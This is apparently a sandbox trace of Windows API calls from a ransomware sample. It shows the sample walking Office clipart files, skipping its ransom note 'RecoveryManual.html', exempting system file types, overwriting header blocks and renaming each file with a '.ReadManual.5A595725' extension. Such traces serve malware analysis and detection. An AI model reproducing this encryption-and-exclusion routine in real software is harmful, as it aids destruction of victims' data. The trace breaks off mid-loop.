1 [0268.695] CloseHandle (hObject=0x184) returned 1 [0268.695] SetSecurityInfo () returned 0x57 [0268.695] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.695] CloseHandle (hObject=0x194) returned 1 [0268.695] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1 [0268.695] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0215070.WMF" | out: lpString1="J0215070.WMF") returned="J0215070.WMF" [0268.695] lstrcmpiW (lpString1="J0215070.WMF", lpString2="RecoveryManual.html") returned -1 [0268.695] StrStrIW (lpFirst="J0215070.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.695] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.696] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.696] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" [0268.696] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.ReadManual.5A595725" [0268.696] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.ReadManual.5A595725") returned 87 [0268.696] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38936477147) returned 1 [0268.696] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf")) returned 0x20 [0268.696] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.697] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11628) returned 1 [0268.697] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d6c, lpName=0x0) returned 0x184 [0268.697] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.697] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.697] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.699] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.699] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d6c) returned 0x2f0000 [0268.699] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.700] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38936829493) returned 1 [0268.700] CloseHandle (hObject=0x184) returned 1 [0268.700] SetSecurityInfo () returned 0x57 [0268.700] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.700] CloseHandle (hObject=0x194) returned 1 [0268.700] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1 [0268.700] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0215076.WMF" | out: lpString1="J0215076.WMF") returned="J0215076.WMF" [0268.700] lstrcmpiW (lpString1="J0215076.WMF", lpString2="RecoveryManual.html") returned -1 [0268.700] StrStrIW (lpFirst="J0215076.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.700] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.700] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.701] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.701] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.701] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" [0268.701] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.ReadManual.5A595725" [0268.701] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.ReadManual.5A595725") returned 87 [0268.701] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38936945615) returned 1 [0268.701] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf")) returned 0x20 [0268.701] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.701] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8016) returned 1 [0268.701] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f50, lpName=0x0) returned 0x184 [0268.701] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.702] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.702] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.704] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.704] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f50) returned 0x2f0000 [0268.704] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.704] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38937297005) returned 1 [0268.704] CloseHandle (hObject=0x184) returned 1 [0268.704] SetSecurityInfo () returned 0x57 [0268.704] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.704] CloseHandle (hObject=0x194) returned 1 [0268.705] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1 [0268.705] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0215210.WMF" | out: lpString1="J0215210.WMF") returned="J0215210.WMF" [0268.705] lstrcmpiW (lpString1="J0215210.WMF", lpString2="RecoveryManual.html") returned -1 [0268.705] StrStrIW (lpFirst="J0215210.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.705] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.705] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.705] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" [0268.705] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.ReadManual.5A595725" [0268.705] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.ReadManual.5A595725") returned 87 [0268.705] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38937396262) returned 1 [0268.705] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf")) returned 0x20 [0268.708] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.709] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33230) returned 1 [0268.709] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x81ce, lpName=0x0) returned 0x184 [0268.709] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.709] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.709] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.711] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.712] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x81ce) returned 0x2f0000 [0268.713] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.713] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38938160740) returned 1 [0268.713] CloseHandle (hObject=0x184) returned 1 [0268.713] SetSecurityInfo () returned 0x57 [0268.713] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.713] CloseHandle (hObject=0x194) returned 1 [0268.713] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1 [0268.713] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0215709.WMF" | out: lpString1="J0215709.WMF") returned="J0215709.WMF" [0268.713] lstrcmpiW (lpString1="J0215709.WMF", lpString2="RecoveryManual.html") returned -1 [0268.713] StrStrIW (lpFirst="J0215709.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.713] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.713] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.713] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.713] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.713] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.713] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.713] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.713] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.714] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.714] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.714] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.714] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.714] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.714] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.714] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" [0268.714] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.ReadManual.5A595725" [0268.714] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.ReadManual.5A595725") returned 87 [0268.714] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38938257813) returned 1 [0268.714] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf")) returned 0x20 [0268.715] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.715] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9290) returned 1 [0268.715] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x244a, lpName=0x0) returned 0x184 [0268.715] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.716] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.717] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.719] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.719] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x244a) returned 0x2f0000 [0268.719] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.719] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38938799867) returned 1 [0268.719] CloseHandle (hObject=0x184) returned 1 [0268.719] SetSecurityInfo () returned 0x57 [0268.719] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.719] CloseHandle (hObject=0x194) returned 1 [0268.720] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1 [0268.720] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0215710.WMF" | out: lpString1="J0215710.WMF") returned="J0215710.WMF" [0268.720] lstrcmpiW (lpString1="J0215710.WMF", lpString2="RecoveryManual.html") returned -1 [0268.720] StrStrIW (lpFirst="J0215710.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.720] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.720] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.720] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" [0268.720] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.ReadManual.5A595725" [0268.720] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.ReadManual.5A595725") returned 87 [0268.720] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38938898364) returned 1 [0268.720] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf")) returned 0x20 [0268.720] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.721] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17826) returned 1 [0268.721] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45a2, lpName=0x0) returned 0x184 [0268.721] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.721] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.721] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.723] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.723] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45a2) returned 0x2f0000 [0268.724] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.724] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38939246409) returned 1 [0268.724] CloseHandle (hObject=0x184) returned 1 [0268.724] SetSecurityInfo () returned 0x57 [0268.724] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.724] CloseHandle (hObject=0x194) returned 1 [0268.724] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0268.724] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0215718.WMF" | out: lpString1="J0215718.WMF") returned="J0215718.WMF" [0268.724] lstrcmpiW (lpString1="J0215718.WMF", lpString2="RecoveryManual.html") returned -1 [0268.724] StrStrIW (lpFirst="J0215718.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.724] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.724] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.724] 